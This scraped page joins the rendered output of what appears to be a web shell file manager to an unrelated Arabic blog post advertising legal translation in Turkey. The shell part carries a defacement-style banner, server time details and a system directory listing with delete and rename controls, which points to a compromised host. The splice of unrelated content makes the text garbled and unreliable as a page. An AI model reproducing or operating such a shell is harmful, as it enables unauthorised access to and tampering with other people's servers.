Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-07 22:06:37
curdir: / / usr / lib64 / perl5 / CORE / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:38:30 0755
.. 4096 2026-01-04 11:47:38 0755
EXTERN.h 1714 2025-07-28 11:07:09 0644
INTERN.h 1271 2025-07-28 11:07:09 0644
XSUB.h 24447 2025-07-28 11:07:09 0644
av.h 3320 2025-07-28 11:07:09 0644
bitcount.h 850 2025-07-28 11:07:09 0644
charclass_invlists.h 972477 2025-07-28 11:07:09 0644
config.h 167583 2025-07-28 11:07:09 0644
cop.h 39536 2025-07-28 11:07:09 0644
cv.h 12042 2025-07-28 11:07:09 0644
dosish.h 5501 2025-07-28 11:07:09 0644
dquote_inline.h 1843 2025-07-28 11:07:09 0644
ebcdic_tables.h 29856 2025-07-28 11:07:09 0644
embed.h 97351 2025-07-28 11:07:09 0644
embedvar.h 18910 2025-07-28 11:07:09 0644
fakesdio.h 3211 2025-07-28 11:07:09 0644
feature.h 4915 2025-07-28 11:07:09 0644
form.h 1463 2025-07-28 11:07:09 0644
git_version.h 357 2025-07-28 11:07:09 0644
gv.h 10711 2025-07-28 11:07:09 0644
handy.h 123349 2025-07-28 11:07:09 0644
hv.h 25571 2025-07-28 11:07:09 0644
hv_func.h 13413 2025-07-28 11:07:09 0644
inline.h 46484 2025-07-28 11:07:09 0644
intrpvar.h 29477 2025-07-28 11:07:09 0644
invlist_inline.h 2750 2025-07-28 11:07:09 0644
iperlsys.h 48806 2025-07-28 11:07:09 0644
keywords.h 6587 2025-07-28 11:07:09 0644
l1_char_class_tab.h 126918 2025-07-28 11:07:09 0644
libperl.so 2181144 2025-07-28 11:07:20 0755
malloc_ctl.h 1512 2025-07-28 11:07:09 0644
metaconfig.h 674 2025-07-28 11:07:09 0644
mg.h 3013 2025-07-28 11:07:09 0644
mg_data.h 4924 2025-07-28 11:07:09 0644
mg_raw.h 4257 2025-07-28 11:07:09 0644
mg_vtable.h 9336 2025-07-28 11:07:09 0644
mydtrace.h 1693 2025-07-28 11:07:09 0644
nostdio.h 3392 2025-07-28 11:07:09 0644
op.h 36419 2025-07-28 11:07:09 0644
op_reg_common.h 5911 2025-07-28 11:07:09 0644
opcode.h 91887 2025-07-28 11:07:09 0644
opnames.h 8836 2025-07-28 11:07:09 0644
overload.h 3276 2025-07-28 11:07:09 0644
pad.h 17246 2025-07-28 11:07:09 0644
parser.h 6914 2025-07-28 11:07:09 0644
patchlevel.h 9936 2025-07-28 11:07:09 0644
perl.h 243237 2025-07-28 11:07:09 0644
perlapi.h 5863 2025-07-28 11:07:09 0644
perldtrace.h 3301 2025-07-28 11:07:09 0644
perlio.h 9464 2025-07-28 11:07:09 0644
perliol.h 13761 2025-07-28 11:07:09 0644
perlsdio.h 527 2025-07-28 11:07:09 0644
perlvars.h 9690 2025-07-28 11:07:09 0644
perly.h 4371 2025-07-28 11:07:09 0644
pp.h 27577 2025-07-28 11:07:09 0644
pp_proto.h 12086 2025-07-28 11:07:09 0644
proto.h 246762 2025-07-28 11:07:09 0644
reentr.h 78270 2025-07-28 11:07:09 0644
regcharclass.h 144582 2025-07-28 11:07:09 0644
regcomp.h 47796 2025-07-28 11:07:09 0644
regexp.h 34379 2025-07-28 11:07:09 0644
regnodes.h 35834 2025-07-28 11:07:09 0644
scope.h 11905 2025-07-28 11:07:09 0644
sv.h 84256 2025-07-28 11:07:09 0644
thread.h 12013 2025-07-28 11:07:09 0644
time64.h 1576 2025-07-28 11:07:09 0644
time64_config.h 2030 2025-07-28 11:07:09 0644
uconfig.h 167129 2025-07-28 11:07:09 0644
unicode_constants.h 7990 2025-07-28 11:07:09 0644
unixish.h 5107 2025-07-28 11:07:09 0644
utf8.h 59111 2025-07-28 11:07:09 0644
utfebcdic.h 67302 2025-07-28 11:07:09 0644
util.h 9600 2025-07-28 11:07:09 0644
uudmap.h 904 2025-07-28 11:07:09 0644
vutil.h 7467 2025-07-28 11:07:09 0644
warnings.h 7816 2025-07-28 11:07:09 0644
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.